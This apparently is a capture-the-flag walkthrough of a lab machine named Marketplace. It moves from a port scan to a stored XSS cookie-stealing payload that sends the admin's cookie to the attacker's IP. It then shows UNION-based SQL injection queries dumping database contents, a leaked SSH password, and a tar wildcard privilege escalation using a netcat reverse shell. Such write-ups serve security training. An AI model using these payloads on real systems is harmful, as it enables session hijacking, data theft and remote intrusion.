# Marketplace

## Nmap

```
sudo nmap 10.10.68.97 -p- -sS -sV         


PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 
(Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.19.2
32768/tcp open  http    Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The root page for port 80 takes us to the following page:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d0348d58c34b4865b022f234b35ed0edef081e7e%2Fimage.png?alt=media)

Under the /signup directory we can create a new user.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d161dba96c50f01e877e2e81a1bf72e4a0934048%2Fimage.png?alt=media)

After creating the account moving over to the /login directory and then proceed to login with the user that was created.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d6a320ed3bb098dba755322007007badd69ad82c%2Fimage.png?alt=media)

Looking at the available listings we can see that we have an opportunity to report a listing.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-35e7879ca041a600622e302ee06983f1fbaf548f%2Fimage.png?alt=media)

After reporting a listing we receive a confirmation message to say that an someone will soon investigate the listing. Shortly after we receive a resppmse to say that the listing has been reviewed.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-12a37b42f1f06a67ec307b54509abd0a82c217b4%2Fimage.png?alt=media)

This implies that staff are actively checking the listings that are reported. Knowing this we have potential for XSS.

We can then create our own listing and check to see if we can potentially use XSS. I used the \<h1> header tag for testing purposes.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5da75f5e06651bd267893950a337e928667be4a4%2Fimage.png?alt=media)

After submitting the query we are redirected to the new listing and can see that this has worked.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-11eaeb012ab1331384a5b2ae643b6f7531557c4e%2Fimage.png?alt=media)

With this we can set a XSS script to retrieve a cookie when someone visits the listing to send back to us. I used the following python script below:

{% embed url="https://raw.githubusercontent.com/lnxg33k/misc/master/XSS-cookie-stealer.py" %}

Edit the script to include the VPN interface IP and preferred port.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d3e84c9249a3676098ce80d4d423d4a3c3e78c90%2Fimage.png?alt=media)

Before running the script add the following code to a new listing in the description box.

```
<script>var i=new Image;i.src="http://<IP>/?"+document.cookie;</script>
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c4e7b21a46b1be03276db49c4fcec3eea0a2c5f5%2Fimage.png?alt=media)

Now report the new listing and then run the script. After a short while you should receive a cookie back.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5469e01bf51ffced4419b3cf14a6b020e5dc219f%2Fimage.png?alt=media)

We can then open the Firefox storage console and replace our current cookie with the new one whilst on the target machine webpage. If this has worked as expected we should then login as the admin account.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-664a9a669c0570f47a5d2b3210c010884b24ae48%2Fimage.png?alt=media)

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-50bb9ab1febb7819df4317c053d6a7577711f5a3%2Fimage.png?alt=media)

From here going to the administration panel and selecting a user shows potential for SQL injection.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-330a25af3c100fe5fd76cf14e534658ba57f8e65%2Fimage.png?alt=media)

Putting an apostrophe in the statement in place of a 1 to purposely break the statement produces a SQL error.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-608a1799ca6e4e0ad66a38bbf201bd448b007ea7%2Fimage.png?alt=media)

The following commands was then used to enumerate the database.

Find how many columns exist in the table:

```
user=1 order by 4
```

Run statement in a write able column to find database names.

```
user=-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata-- -
```

Show tables from selected 'marketplace' database.

```
user=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='marketplace'-- -
```

Get column names from selected table 'messages'.

```
user=-1 union select group_concat(column_name,'\n'),2,3,4 from information_schema.columns where table_name='messages'-- -
```

Dump contents of select found columns inside the table.

```
user=-1 union select 1,group_concat(message_content,'\n'),3,4 from marketplace.messages-- - 
```

Dump contents of messages table.

```
user=-1 union select 1,group_concat(message_content,'\n'),3,4 from marketplace.messages-- -
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9b94a9fd2eb225f424c4e868f8e90bc6205a4d7c%2Fimage.png?alt=media)

We now have a potential password of: @b\_ENXkGYUCAv3zJ

Trying the user jake on SSH with the given password allows SSH access.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8620c214f22946934e3029c3524a42d5efc7897f%2Fimage.png?alt=media)

Checking `sudo -l` shows we can run the /opt/backups/backup.sh file as michael without specifying a password.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1786b6ca6882baffa85cf189d33b07df683b047b%2Fimage.png?alt=media)

Running cat on backup.sh shows the following contents:

```
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *
```

As the tar command end in a wildcard we can exploit this to gain a shell as michael. This technique is referenced here in [https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/](https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/)

**Conceptual Information:**

If you have ever explored tar to read its optional switches then you will find the following option.

**–checkpoint\[=NUMBER]** show progress messages every Numbers record (default 10)

**–checkpoint-action=ACTION** execute ACTION on each checkpoint

There is a ‘–checkpoint-action’ option, that will specify the program which will be executed when the checkpoint is reached. Mainly, this permits us to run an arbitrary command. Hence Options ‘–checkpoint=1’ and ‘–checkpoint-action=exec=sh shell.sh’ are handed to the ‘tar’ program as command-line options.

Created a `netcat` reverse shell with the command below.

```
msfvenom -p cmd/unix/reverse_netcat LHOST=10.14.3.108 LPORT=80 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-55792d18152bb078ad37357156e97ed87d8d7ca6%2Fimage.png?alt=media)

Run the following commands on the host machine inside the /opt/backup directory. Specifying the generated msfvenom command.

```
echo "mkfifo /tmp/zcvkti; nc 10.14.3.108 80 0</tmp/zcvkti | /bin/sh >/tmp/zcvkti 2>&1; rm /tmp/zcvkti" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
chmod 777 backup.tar
chmod 777 shell.sh
sudo -u michael /opt/backups/backup.sh
```

We should then receive a shell as michael.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-bf573234aee70764cc7742edce5f87a0165a6307%2Fimage.png?alt=media)

As michael is part of the docker group we can escalate privileges as per GTFOBins: [https://gtfobins.github.io/gtfobins/docker/](https://gtfobins.github.io/gtfobins/docker/).

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-3b11e01f50d6f865dc0e2b50c9418522e62add9b%2Fimage.png?alt=media)

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2d53cccbdc8028eb765d13c5817a11e3e3adfaf0%2Fimage.png?alt=media)
